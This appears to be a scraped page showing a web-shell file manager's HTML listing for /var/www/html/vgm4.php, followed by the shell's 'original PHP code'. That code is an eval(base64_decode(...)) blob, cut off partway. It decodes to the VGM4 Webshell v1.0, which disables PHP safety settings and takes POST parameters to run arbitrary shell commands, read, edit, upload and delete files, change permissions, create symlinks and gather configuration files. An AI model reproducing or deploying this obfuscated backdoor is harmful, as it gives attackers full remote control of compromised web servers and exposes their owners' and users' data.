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"></td><td style="text-align: left;"><span class="toggle" onclick="edit_file('/var/www/html/vgm4.php','tr_2');">vgm4.php</span></td><td>301.16kB</td><td>12/02/2023 - 21:10:37</td><td><span class="toggle" onclick="set_chmod('/var/www/html/vgm4.php','0664');"><font style="color:white">-rw-rw-r--</font></span></td><td><div class="icons"><i class="fas fa-edit" style="color:#ffcf41" title="Edit" onclick="edit_file('/var/www/html/vgm4.php','tr_2');"></i><i class="fas fa-trash-alt" title="Remove" onclick="remove_file('/var/www/html/vgm4.php','tr_2');" style="color:#f55858;"></i><i class="fas fa-file-download" title="Download" onclick="download_file('/var/www/html/vgm4.php');" style="color:#fff"></i></div></td></tr></tbody>
        
            </table>
        </div>

        <div class="process-screen" id="screen"></div>

    </div>

</div>






</body></html>

Original PHP code

<?php eval("?>".base64_decode("PD9waHANCi8qDQogICAgKiBWR000IFdlYnNoZWxsIHYxLjANCiAgICAqIFBIUCAmIEphdmFzY3JpcHQgYmFzZWQgd2ViIHNoZWxsDQogICAgKiBBdXRob3JlZCA6IFZHTTQNCg0KICAgICBESVNDTEFJTUVSDQoNCiAgICAgLSBUaGlzIHNjcmlwdCBoYXMgZmV3IG9mIGFiaWxpdGllcyBvbiBhIHdlYiBzZXJ2ZXIsc29tZSBvZiB0aGVtIG1pZ2h0IGJlIGhhcm1mdWwNCiAgICAgICBJZiB5b3UgYXJlIGRlY2lkZWQgdG8gdXNlIHRoaXMgc2NyaXB0LHlvdSBoYXZlIHRvIGtub3cgdGhhdCBzY3JpcHQncyBhdXRob3IgZG9lcyBub3QgdGFrZXMgYW55IHJlc3BvbnNpYmlsaXR5IG9uIGFueSBoYXJtZnVsIHVzZQ0KKi8NCkBzZXNzaW9uX3N0YXJ0KCk7DQpAb2Jfc3RhcnQoKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KQGluaV9zZXQoJ3NhZmVfbW9kZScsJ09mZicpOw0KQGluaV9zZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJywnICcpOw0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UgXiBFX1dBUk5JTkcpOw0KDQokaGVscGVycyA9IG5ldyBoZWxwZXJzOw0KDQppZigkX1BPU1Qpew0KICAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9qc29uIik7DQoNCiAgICBpZihpc3NldCgkX1BPU1RbJ2xpc3RfZGlyJ10pKXsNCg0KICAgICAgICAkbGlzdCA9ICRoZWxwZXJzLT5saXN0X2RpcihiYXNlNjRfZGVjb2RlKCRfUE9TVFsnbGlzdF9kaXInXSkpOw0KDQogICAgICAgIGlmKCRsaXN0ID09PSBmYWxzZSl7DQogICAgICAgICAgICAkb3V0cHV0WydzdGF0dXMnXSA9ICdub19kaXInOw0KICAgICAgICAgICAgZXhpdChqc29uX2VuY29kZSgkb3V0cHV0KSk7DQogICAgICAgIH0NCiAgICAgICAgZXhpdChqc29uX2VuY29kZSgkbGlzdCkpOyANCg0KICAgIH1lbHNlaWYoaXNzZXQoJF9QT1NUWydyZW1vdmVfZmlsZSddKSl7DQoNCiAgICAgICAgJHJlbW92ZSA9ICRoZWxwZXJzLT5yZW1vdmVfZmlsZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsncmVtb3ZlX2ZpbGUnXSkpOw0KDQogICAgICAgIGlmKCRyZW1vdmUpew0KICAgICAgICAgICAgJG91dHB1dFsnc3RhdHVzJ10gPSAncmVtb3ZlZCc7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgJG91dHB1dFsnc3RhdHVzJ10gPSAnZmFpbGVkJzsNCiAgICAgICAgfQ0KICAgICAgICBleGl0KGpzb25fZW5jb2RlKCRvdXRwdXQpKTsNCiAgICB9ZWxzZWlmKGlzc2V0KCRfUE9TVFsnY2htb2RfdGFyZ2V0J10pICYmIGlzc2V0KCRfUE9TVFsnY2htb2QnXSkpew0KDQogICAgICAgICRzZXRjaG1vZCA9ICRoZWxwZXJzLT5zZXRfY2htb2QoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2NobW9kX3RhcmdldCddKSxiYXNlNjRfZGVjb2RlKCRfUE9TVFsnY2htb2QnXSkpOw0KDQogICAgICAgIGlmKCRzZXRjaG1vZCl7DQogICAgICAgICAgICAkb3V0cHV0WydzdGF0dXMnXSA9ICdvayc7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgJG91dHB1dFsnc3RhdHVzJ10gPSAnZmFpbGVkJzsNCiAgICAgICAgfQ0KICAgICAgICBleGl0KGpzb25fZW5jb2RlKCRvdXRwdXQpKTsNCiAgICB9ZWxzZWlmKGlzc2V0KCRfUE9TVFsncmVuYW1lX3RhcmdldCddKSAmJiBpc3NldCgkX1BPU1RbJ25ld19uYW1lJ10pICYmIGlzc2V0KCRfUE9TVFsnb2xkX25hbWUnXSkpew0KICAgICAgICAkcmVuYW1lID0gJGhlbHBlcnMtPnJlbmFtZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsncmVuYW1lX3RhcmdldCddKSwkX1BPU1RbJ25ld19uYW1lJ10sJF9QT1NUWydvbGRfbmFtZSddKTsNCg0KICAgICAgICBpZigkcmVuYW1lKXsNCiAgICAgICAgICAgICRvdXRwdXRbJ3N0YXR1cyddID0gJ29rJzsNCiAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAkb3V0cHV0WydzdGF0dXMnXSA9ICdmYWlsZWQnOw0KICAgICAgICB9DQogICAgICAgIGV4aXQoanNvbl9lbmNvZGUoJG91dHB1dCkpOw0KICAgIH1lbHNlaWYoaXNzZXQoJF9QT1NUWydyZWFkX2ZpbGUnXSkpew0KICAgICAgICBpZihpc19maWxlKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydyZWFkX2ZpbGUnXSkpKXsNCiAgICAgICAgICAgICRwYXRoaW5mbyAgPSBwYXRoaW5mbyhiYXNlNjRfZGVjb2RlKCRfUE9TVFsncmVhZF9maWxlJ10pKTsNCg0KICAgICAgICAgICAgaWYoc3RyaXN0cigkcGF0aGluZm9bJ2V4dGVuc2lvbiddLCd6aXAnKSB8fCBzdHJpc3RyKCRwYXRoaW5mb1snZXh0ZW5zaW9uJ10sJ3JhcicpIHx8IHN0cmlzdHIoJHBhdGhpbmZvWydleHRlbnNpb24nXSwndGFyJykgfHwgc3RyaXN0cigkcGF0aGluZm9bJ2V4dGVuc2lvbiddLCd0YXIuZ3onKSB8fCBzdHJpc3RyKCRwYXRoaW5mb1snZXh0ZW5zaW9uJ10sJzd6Jykpew0KICAgICAgICAgICAgICAgICRvdXRwdXRbJ3N0YXR1cyddID0gJ2ZhaWxlZCc7DQogICAgICAgICAgICAgICAgZXhpdChqc29uX2VuY29kZSgkb3V0cHV0KSk7DQogICAgICAgICAgICB9ZWxzZWlmKHN0cmlzdHIoJHBhdGhpbmZvWydleHRlbnNpb24nXSwnbTRhJykgfHwgc3RyaXN0cigkcGF0aGluZm9bJ2V4dGVuc2lvbiddLCdmbGFjJykgfHwgc3RyaXN0cigkcGF0aGluZm9bJ2V4dGVuc2lvbiddLCdtcDMnKSB8fCBzdHJpc3RyKCRwYXRoaW5mb1snZXh0ZW5zaW9uJ10sJ3dhdicpIHx8IHN0cmlzdHIoJHBhdGhpbmZvWydleHRlbnNpb24nXSwnYWFjJykgfHwgc3RyaXN0cigkcGF0aGluZm9bJ2V4dGVuc2lvbiddLCd3bWEnKSl7DQogICAgICAgICAgICAgICAgJG91dHB1dFsnYXVkaW8nXSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWydyZWFkX2ZpbGUnXSk7DQogICAgICAgICAgICAgICAgJG91dHB1dFsndHlwZSddICA9ICRoZWxwZXJzLT5nZXRNaW1lVHlwZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsncmVhZF9maWxlJ10pKTsNCiAgICAgICAgICAgICAgICBleGl0KGpzb25fZW5jb2RlKCRvdXRwdXQpKTsNCiAgICAgICAgICAgIH1lbHNlaWYoc3RyaXN0cigkcGF0aGluZm9bJ2V4dGVuc2lvbiddLCdtcDQnKSB8fCBzdHJpc3RyKCRwYXRoaW5mb1snZXh0ZW5zaW9uJ10sJ2F2aScpIHx8IHN0cmlzdHIoJHBhdGhpbmZvWydleHRlbnNpb24nXSwnbW92JykgfHwgc3RyaXN0cigkcGF0aGluZm9bJ2V4dGVuc2lvbiddLCd3bXYnKSB8fCBzdHJpc3RyKCRwYXRoaW5mb1snZXh0ZW5zaW9uJ10sJ2ZsdicpIHx8IHN0cmlzdHIoJHBhdGhpbmZvWydleHRlbnNpb24nXSwnYXZjaGQnKSB8fCBzdHJpc3RyKCRwYXRoaW5mb1snZXh0ZW5zaW9uJ10sJ21rdicpIHx8IHN0cmlzdHIoJHBhdGhpbmZvWydleHRlbnNpb24nXSwnM2dwJykpew0KICAgICAgICAgICAgICAgICRvdXRwdXRbJ3ZpZGVvJ10gPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsncmVhZF9maWxlJ10pOw0KICAgICAgICAgICAgICAgICRvdXRwdXRbJ3R5cGUnXSA9ICRoZWxwZXJzLT5nZXRNaW1lVHlwZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsncmVhZF9maWxlJ10pKTsNCiAgICAgICAgICAgICAgICBleGl0KGpzb25fZW5jb2RlKCRvdXRwdXQpKTsNCiAgICAgICAgICAgIH0NCiAgICANCiAgICAgICAgICAgICRyZWFkX2ZpbGUgID0gQGZpbGVfZ2V0X2NvbnRlbnRzKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydyZWFkX2ZpbGUnXSkpOw0KICAgICAgICANCiAgICAgICAgICAgIGlmKCRyZWFkX2ZpbGUgIT09IGZhbHNlKXsNCiAgICAgICAgICAgICAgICBpZihzdHJpc3RyKCRwYXRoaW5mb1snZXh0ZW5zaW9uJ10sJ2pwZycpIHx8IHN0cmlzdHIoJHBhdGhpbmZvWydleHRlbnNpb24nXSwnaWNvJykgfHwgc3RyaXN0cigkcGF0aGluZm9bJ2V4dGVuc2lvbiddLCdwbmcnKSB8fCBzdHJpc3RyKCRwYXRoaW5mb1snZXh0ZW5zaW9uJ10sJ2JtcCcpIHx8IHN0cmlzdHIoJHBhdGhpbmZvWydleHRlbnNpb24nXSwnZ2lmJykgfHwgc3RyaXN0cigkcGF0aGluZm9bJ2V4dGVuc2lvbiddLCdqcGVnJykgfHwgc3RyaXN0cigkcGF0aGluZm9bJ2V4dGVuc2lvbiddLCd3ZWJwJykgfHwgc3RyaXN0cigkcGF0aGluZm9bJ2V4dGVuc2lvbiddLCdzdmcnKSl7DQogICAgICAgICAgICAgICAgICAgICRvdXRwdXRbJ2RhdGFfdXJsJ10gPSAnZGF0YTogJy4kaGVscGVycy0+Z2V0TWltZVR5cGUoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ3JlYWRfZmlsZSddKSkuJztiYXNlNjQsJy5iYXNlNjRfZW5jb2RlKCRyZWFkX2ZpbGUpOw0KICAgICAgICAgICAgICAgIH0NCiAgICANCiAgICAgICAgICAgICAgICAkb3V0cHV0Wydjb250ZW50J10gPSBiYXNlNjRfZW5jb2RlKCRyZWFkX2ZpbGUpOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgJG91dHB1dFsnc3RhdHVzJ10gPSAnZmFpbGVkJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAkb3V0cHV0WydzdGF0dXMnXSA9ICdmYWlsZWQnOw0KICAgICAgICB9DQogICAgICAgDQogICAgICAgIGV4aXQoanNvbl9lbmNvZGUoJG91dHB1dCkpOw0KDQogICAgfWVsc2VpZihpc3NldCgkX1BPU1RbJ2VkaXRfZmlsZSddKSl7DQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsncmVuYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKEByZW5hbWUoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2VkaXRfZmlsZSddKSxiYXNlNjRfZGVjb2RlKCRfUE9TVFsncmVuYW1lJ10pKSl7DQogICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydjb250ZW50J10pKXsNCiAgICAgICAgICAgICAgICAgICAgaWYoQGZpbGVfcHV0X2NvbnRlbnRzKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydyZW5hbWUnXSksYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2NvbnRlbnQnXSksTE9DS19FWCkpew0KICAgICAgICAgICAgICAgICAgICAgICAgJG91dHB1dFsnc3RhdHVzJ10gID0gQGJhc2VuYW1lKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydyZW5hbWUnXSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJG91dHB1dFsnb2xkX25hbWUnXT0gQGJhc2VuYW1lKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlZGl0X2ZpbGUnXSkpOw0KICAgICAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRvdXRwdXRbJ3N0YXR1cyddICA9IEBiYXNlbmFtZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsncmVuYW1lJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRvdXRwdXRbJ29sZF9uYW1lJ109IEBiYXNlbmFtZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZWRpdF9maWxlJ10pKTsgDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dFsnc3RhdHVzJ10gID0gQGJhc2VuYW1lKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydyZW5hbWUnXSkpOw0KICAgICAgICAgICAgICAgICAgICAkb3V0cHV0WydvbGRfbmFtZSddPSBAYmFzZW5hbWUoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2VkaXRfZmlsZSddKSk7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAkb3V0cHV0WydzdGF0dXMnXSA9ICdmYWlsZWQnOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydjb250ZW50J10pKXsNCiAgICAgICAgICAgICAgICBpZihAZmlsZV9wdXRfY29udGVudHMoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2VkaXRfZmlsZSddKSxiYXNlNjRfZGVjb2RlKCRfUE9TVFsnY29udGVudCddKSxMT0NLX0VYKSl7DQogICAgICAgICAgICAgICAgICAgICRvdXRwdXRbJ3N0YXR1cyddID0gJ29rJzsNCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dFsnc3RhdHVzJ10gPSAnZmFpbGVkJzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgfQ0KICAgICAgDQogICAgICAgIGV4aXQoanNvbl9lbmNvZGUoJG91dHB1dCkpOw0KICAgIH1lbHNlaWYoaXNzZXQoJF9QT1NUWydjcmVhdGVfZmlsZSddKSAmJiBpc3NldCgkX1BPU1RbJ2RpcmVjdG9yeSddKSl7DQogICAgICAgIGlmKCFAZmlsZV9leGlzdHMoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2RpcmVjdG9yeSddKS4nLycuYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2NyZWF0ZV9maWxlJ10pKSB8fCAhQGlzX2RpcihiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZGlyZWN0b3J5J10pLicvJy5iYXNlNjRfZGVjb2RlKCRfUE9TVFsnY3JlYXRlX2ZpbGUnXSkpKXsNCiAgICAgICAgICAgIGlmKEB0b3VjaChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZGlyZWN0b3J5J10pLicvJy5iYXNlNjRfZGVjb2RlKCRfUE9TVFsnY3JlYXRlX2ZpbGUnXSkpKXsNCiAgICAgICAgICAgICAgICAkb3V0cHV0WydzdGF0dXMnXSA9ICdvayc7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAkb3V0cHV0WydzdGF0dXMnXSA9ICdmYWlsZWQnOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRvdXRwdXRbJ3N0YXR1cyddID0gJ2FscmVhZHlfZXhpc3RzJzsNCiAgICAgICAgfQ0KICAgIA0KICAgICAgICBleGl0KGpzb25fZW5jb2RlKCRvdXRwdXQpKTsNCiAgICB9ZWxzZWlmKGlzc2V0KCRfUE9TVFsnY3JlYXRlX2RpciddKSAmJiBpc3NldCgkX1BPU1RbJ2RpcmVjdG9yeSddKSl7DQogICAgICAgIGlmKCFAZmlsZV9leGlzdHMoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2RpcmVjdG9yeSddKS4nLycuYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2NyZWF0ZV9kaXInXSkpIHx8ICFAaXNfZGlyKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydkaXJlY3RvcnknXSkuJy8nLmJhc2U2NF9kZWNvZGUoJF9QT1NUWydjcmVhdGVfZGlyJ10pKSl7DQogICAgICAgICAgICBpZihAbWtkaXIoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2RpcmVjdG9yeSddKS4nLycuYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2NyZWF0ZV9kaXInXSkpKXsNCiAgICAgICAgICAgICAgICAkb3V0cHV0WydzdGF0dXMnXSA9ICdvayc7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAkb3V0cHV0WydzdGF0dXMnXSA9ICdmYWlsZWQnOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRvdXRwdXRbJ3N0YXR1cyddID0gJ2FscmVhZHlfZXhpc3RzJzsNCiAgICAgICAgfQ0KICAgICAgICBleGl0KGpzb25fZW5jb2RlKCRvdXRwdXQpKTsNCiAgICB9ZWxzZWlmKGlzc2V0KCRfRklMRVNbJ2ZpbGVzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGlyZWN0b3J5J10pKXsNCiAgDQogICAgICAgIGZvcmVhY2goJF9GSUxFU1snZmlsZXMnXVsnbmFtZSddIGFzICRrZXkgPT4gJG5hbWUpew0KICAgICAgICAgICAgJHVwbG9hZCA9ICRoZWxwZXJzLT5maWxlX3VwbG9hZCgkX0ZJTEVTWydmaWxlcyddWyd0bXBfbmFtZSddWyRrZXldLCRuYW1lLGJhc2U2NF9kZWNvZGUoJF9QT1NUWydkaXJlY3RvcnknXSkpOw0KDQogICAgICAgICAgICBpZigkdXBsb2FkKXsNCiAgICAgICAgICAgICAgICAkb3V0cHV0WydzdGF0dXMnXSA9ICdvayc7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAkb3V0cHV0WydzdGF0dXMnXSA9ICdmYWlsZWQnOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGV4aXQoanNvbl9lbmNvZGUoJG91dHB1dCkpOw0KDQogICAgfWVsc2VpZihpc3NldCgkX1BPU1RbJ2NvbW1hbmQnXSkgJiYgaXNzZXQoJF9QT1NUWydkaXJlY3RvcnknXSkpew0KICAgICAgICANCiAgICAgICAgJGNtZCA9ICRoZWxwZXJzLT5ydW5fY21kKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydjb21tYW5kJ10pLGJhc2U2NF9kZWNvZGUoJF9QT1NUWydkaXJlY3RvcnknXSkpOw0KDQogICAgICAgIGlmKCRjbWQpew0KICAgICAgICAgICAgJG91dHB1dFsnc3RhdHVzJ10gPSBiYXNlNjRfZW5jb2RlKCRjbWQpOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRvdXRwdXRbJ3N0YXR1cyddID0gJ2ZhaWxlZCc7DQogICAgICAgIH0NCiAgICAgICAgZXhpdChqc29uX2VuY29kZSgkb3V0cHV0KSk7DQogICAgfWVsc2VpZihpc3NldCgkX1BPU1RbJ3N5bWxpbmtfdGFyZ2V0J10pKXsNCiAgICAgICAgJHN5bWxpbmsgPSAkaGVscGVycy0+Y3JlYXRlX3N5bWxpbmsoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ3N5bWxpbmtfdGFyZ2V0J10pKTsNCg0KICAgICAgICBpZigkc3ltbGluayl7DQogICAgICAgICAgICAkb3V0cHV0WydzdGF0dXMnXSA9IGJhc2U2NF9lbmNvZGUoaHRtbGVudGl0aWVzKCRzeW1saW5rKSk7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgJG91dHB1dFsnc3RhdHVzJ10gPSAnZmFpbGVkJzsNCiAgICAgICAgfQ0KICAgICAgICBleGl0KGpzb25fZW5jb2RlKCRvdXRwdXQpKTsNCiAgICB9ZWxzZWlmKGlzc2V0KCRfUE9TVFsnc2VhcmNoX2xvY2F0aW9uJ10pICYmIGlzc2V0KCRfUE9TVFsnc2VhcmNoX2tleXdvcmQnXSkgJiYgaXNzZXQoJF9QT1NUWydzZWFyY2hfdHlwZSddKSl7DQoNCiAgICAgICAgJGNvbW1hbmQgPSAkaGVscGVycy0+cnVuX2NtZCgkaGVscGVycy0+cHJlcGFyZV9zZWFyY2hfY21kKCRfUE9TVFsnc2VhcmNoX2xvY2F0aW9uJ10sJF9QT1NUWydzZWFyY2hfa2V5d29yZCddLCRfUE9TVFsnc2VhcmNoX3R5cGUnXSkpOw0KDQogICAgICAgIGlmKCRjb21tYW5kKXsNCiAgICAgICAgICAgICRvdXRwdXRbJ3N0YXR1cyddID0gYmFzZTY0X2VuY29kZSgkY29tbWFuZCk7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgJG91dHB1dFsnc3RhdHVzJ10gPSAnZmFpbGVkJzsNCiAgICAgICAgfQ0KICAgICAgICBleGl0KGpzb25fZW5jb2RlKCRvdXRwdXQpKTsNCiAgICB9ZWxzZWlmKGlzc2V0KCRfUE9TVFsnZG93bmxvYWRfY2ZnJ10pKXsNCiAgICAgICAgJHppcEFsbCA9ICRoZWxwZXJzLT5kb3dubG9hZF9jb25maWdzKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydkb3dubG9hZF9jZmcnXSkpOw0KDQogICAgICAgIGlmKCR6aXBBbGwgPT0gZmFsc2Upew0KICAgIC